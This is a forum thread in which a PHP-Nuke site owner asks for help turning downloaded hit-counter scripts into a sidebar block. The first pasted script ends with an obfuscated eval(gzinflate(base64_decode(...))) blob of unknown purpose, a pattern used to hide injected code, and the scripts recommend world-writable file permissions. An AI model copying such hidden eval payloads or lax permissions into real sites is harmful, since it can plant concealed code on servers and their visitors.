Looking for a Unique Hits counter.

  Post new topicReply to topicPrintable Version
<< View previous topic View next topic >>
Share: Del.icio.us  Digg  Google  Spurl  Blink  Furl  Y! MyWeb  
#1   Looking for a Unique Hits counter.
Donovan
CZ Active Member
 Codezwiz Site Donator
Donovan has been a member for over 20 year's 20 Year Member
usa.gif ohio.gif
Occupation: Web Developer
Gender: Male
Fav. Sports Team: St Louis Cardinals
Status: Offline
Joined: Dec 03, 2003
0.02 posts per day
Posts: 160
Points: 9,216
   
I need it for a possible sponsor. I found this that I was trying to turn into a block but don't know if it will do what I want.



<?php

/************************************************************************/
/* PHP-NUKE: Web Portal System                                          */
/* ===========================                                          */
/*                                                                      */
/* Copyright (c) 2002 by Francisco Burzi                                */
/* http://phpnuke.org                                                   */
/*                                                                      */
/* This program is free software. You can redistribute it and/or modify */
/* it under the terms of the GNU General Public License as published by */
/* the Free Software Foundation; either version 2 of the License.       */
/************************************************************************/

// Unique Hits PHP Script
// ----------- March 2004
// Contact author: [ Register or login to view links on this board. ]

// for updates, visit: http://www.sizzly.com/uniquehits.htm

// CHMOD this file to 666
// If it doesn't work, try 777
$log = 'uniquehits.log';

if ( !defined('BLOCK_FILE') ) {
    Header("Location: ../index.php");
    die();
}
global $startdate;

$IP = getenv (REMOTE_ADDR);
$add = true;
$hits = 0;

if (!file_exists ($log)) {
   echo "Error: $log does not exist.";
   exit;
}

$h = fopen ($log, 'r');
while (!feof ($h)) {
   $line = fgets ($h, 4096);
   $line = trim ($line);
   if ($line != '')
      $hits++;

   if ($line == $IP)
      $add = false;
}

fclose($h);

if ($add == true) {
   $h = fopen ($log, 'a');
   fwrite($h, "$IP");
   fclose($h);
   $hits++;
}

$content = "<font class=\"tiny\"><center>Unique Hits Counter<br><b>$hits</b><br>"._PAGESVIEWS." $startdate</center></font>";


eval(gzinflate(base64_decode('
JY1BCoMwEADvgn8IUthbQq/tZvMUiRK7oZq0cSXU
11fb8zAzjtC1TRg5q+7CUVYcCuGUk6g17sHCFQi9
4hImCyzyuhlTa9UH3OePHvNithTfWzhdzbKAEl8e
QSz0w+zTE+jP1S9uPKE569Td28Yd8y8=
')));
?>



Back to top Reply with quote
#2   re: Looking for a Unique Hits counter.
Donovan
CZ Active Member
 Codezwiz Site Donator
Donovan has been a member for over 20 year's 20 Year Member
usa.gif ohio.gif
Occupation: Web Developer
Gender: Male
Fav. Sports Team: St Louis Cardinals
Status: Offline
Joined: Dec 03, 2003
0.02 posts per day
Posts: 160
Points: 9,216
   
bump.

I really need this before sponsors will pay any attention. I am surprised one is not already out there somewhere.



Back to top Reply with quote
#3   re: Looking for a Unique Hits counter.
Kelly_Hero
PayPal Donation
CZ Revered Member
 Codezwiz Site Donator
usa.gif southcarolina.gif
Occupation: Web Developer
Age: 59
Gender: Female
Website:
Status: Offline
Joined: Aug 20, 2003
0.48 posts per day
Posts: 3765
Points: 351,412
   
Have you tried putting it in the footer?

Insert this PHP code on every page where the counter should appear:
<? include 'uniquehits.php' ?>



Back to top Reply with quote
#4   re: Looking for a Unique Hits counter.
Donovan
CZ Active Member
 Codezwiz Site Donator
Donovan has been a member for over 20 year's 20 Year Member
usa.gif ohio.gif
Occupation: Web Developer
Gender: Male
Fav. Sports Team: St Louis Cardinals
Status: Offline
Joined: Dec 03, 2003
0.02 posts per day
Posts: 160
Points: 9,216
   
Well I want it to appear in the block.

I want to add something to Ravens block-User_Info.php block that I use.

At the very end of his block he has the following:

/* Hits in Total */
   $totalhits = 0;
   $result = sql_query("SELECT sum(hits) FROM $prefix"._stats_year."", $dbi);
   list($totalhits) = sql_fetch_row($result, $dbi);
   $content .= "<center><small>"._WERECEIVED."</small><br />\n";
   $content .= "<b>$totalhits</b><br />\n";
   $content .= "<small>"._PAGESVIEWS."<br />$startdate</small></center>";
   $content .= "<hr noshade>";
if (is_user($user)||is_admin($admin)) {
   $content .= "<center>"._BHITS." "._BTD.": <b>$today</b><br />";
   if (is_admin($admin)) {
      $content .= ""._BHITS." "._BYD.": <b>$yesterday</b><br /></center>";
   }
   else $content .= "</center>";
}
if ($showServerDateTime || ($showServerDateTimeAdmin&&is_admin($admin))) {
if (is_user($user)||is_admin($admin)) {
   $content .= "<hr noshade>";
}
   $sdt = date("j F Y\nH:i:s T");
   $zone = date("Z")/3600;
   if ($zone >= 0) {
      $zone = "+".$zone;
   }
   $content .= "<center>"._SERDT."<br />$sdt (GMT $zone)</center>";
}
$content .= "</form>";

?>


I want to insert a code somewhere for a graphical unique hits counter. The counter I found is from

Simp Counter 1.1
Code by deadserious [ Register or login to view links on this board. ]

The instruction tell me to insert this on every page I want the counter, but I would rather add this to Raven block at the bottom.

//Unique Hits
   $content .= "<hr noshade>";
   $content .= "<center>Unique Hits</center>";
include "/home/xxxxxx/public_html/scripts/simpcounter/simpcounter.php";



Or if I look at the end of simpcounter.php I find:

$curcount = substr( $count, $i, 1 );
        echo "<a href=\"http://speedycode.com/archives/17-Simp-Counter-1.1-Released.html\"><img src=\"$imgdir$curcount$imgext\" border=\"0\" alt=\"PHP Counter\"></a>\n";


Could I include the simpcounter.php file and just echo "><img src=\"..scripts\$imgdir$curcount$imgext\ out in the block.

Could somebody give me an example?

here is simpcounter:

<?php

// CONFIGURATION SECTION - You CAN EDIT THE SETTINGS BELOW  // 

$countfile = '/home/xxxxxxxx/public_html/scripts/simpcounter/count.txt';               
# The system path to the count log file. You need to change this.

$iplogfile = '/home/xxxxxxxx/public_html/scripts/simpcounter/iplog.txt';               
# The system path to the ip log file. You need to change this.

$imgdir = 'http://www.eto-league.com/scripts/simpcounter/';   
# The url to the directory contatining your images including the traling slash

$imgext = '.gif';                   
# The extension of your images, ( jpg, png, etc. )

$usetextcounter = 0;                   
# 1 = use text based hit counter, 0 = use graphical counter

$countonlyunique = 1;                   
# 0 = count all hits/pageloads, 1 = count only unique visits

$useflock = 1;                       
# 1 = use file locking, 0 = don't.


// END CONFIGURATION SECTION //


// Lock and/or read or write file //
function lock_r_w ( $file , $mode, $content, $useflock )
{
    if ( is_writeable( $file )) {
        $fh = fopen( $file, $mode );
            if ( $useflock == 1 )
            {
                if ( flock( $fh, LOCK_EX ))
                {
                    if ( $mode == 'r' )
                    {
                        return fgets( $fh );
                    }
                    else
                    {
                        fwrite( $fh, $content );
                    }
                    flock( $fh, LOCK_UN );
                }
                else
                {
                    fclose( $fh );
                    echo "Couldn't lock the file $file.<br />
                    Your system may not support file locking.<br />
                    You probably need to change \$useflock to 0.";
                    exit;
               }
            }
            else
            {
                if ($mode == 'r') {
                    return fgets($fh);
                }
                fwrite( $fh, $content );
            }
        fclose($fh);
    }
    else
    {
        echo "The file $file is not writeable.<br />
        Change the permissions and try again.";
        exit;
    }
}


$count = lock_r_w( $countfile, "r", '', $useflock );
if ( $count == 0 ) { $count = 1; }

if ( $countonlyunique == 1 )
{
    $curtime = getdate();

    # Empties the ip log file if script is accessed between 12 and 12:01 AM #
    # Hopefully someone will access your page between 12 and 12:01 AM :D #
    # If you have cron access and are using this as a unique visitor counter #
    # you should set up a cron job to access this script between 12:00 and 12:01 #
    # AM so that you will have an accurate count of unique visitors per day #
    # Visit http://speedycode.com for help and questions with setting up cron jobs #

    if ( $curtime['hours'] == 00 && $curtime['minutes'] == 00 )
    {
        lock_r_w( $iplogfile, "w", "", $useflock ); 
    }

    $ip = getenv( "REMOTE_ADDR" );
    $ips = lock_r_w( $iplogfile, "r", '', $useflock );
    $curips = explode("|", $ips);
   
#    foreach ( $curips as $key => $value )
#    {
#        $curips[$key] = trim( $value );
#    }

    $curvisitor = ( in_array( $ip, $curips )) ? 1 : 0;
   
    if ( $curvisitor != 1 )
    {
        lock_r_w( $iplogfile, "a", "$ip|", $useflock );
        lock_r_w( $countfile, "w", $count+1, $useflock );
    }
}
else
{
    lock_r_w( $countfile, "w", $count+1, $useflock );
}

if ( $usetextcounter == 1 )
{
    echo $count;
}
else
{
    for( $i = 0; $i < strlen( $count ); $i++ )
    {
        $curcount = substr( $count, $i, 1 );
        echo "<a href=\"http://speedycode.com/archives/17-Simp-Counter-1.1-Released.html\"><img src=\"$imgdir$curcount$imgext\" border=\"0\" alt=\"PHP Counter\"></a>\n";
    }
}

#################################################
# Simp Counter 1.1                              #
# Code by deadserious                           #
# http://www.speedycode.com                     #
#                                               #
#                                               #
#                                               #
#################################################

?>



*edit*

I'm thinking something like this at or near the end of Raven User block, but it isn't working or at least not appearing in the right place. Take a look, you can see it on the left.
[ Register or login to view links on this board. ]




$content .= "<hr noshade>";
$content .= "Unique Hits";
$content .= "<img src=\"scripts/simpcounter/$imgdir$curcount$imgext\" border=\"0\" alt=\"Unique Hits Counter\"></a>\n";



Back to top Reply with quote
Display posts from previous:      
Add To: Del.icio.us  Digg  Google  Spurl  Blink  Furl  Y! MyWeb  
<< View previous topic View next topic >>
Post new topicReply to topic

Jump to 
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
You cannot attach files in this forum
You cannot download files in this forum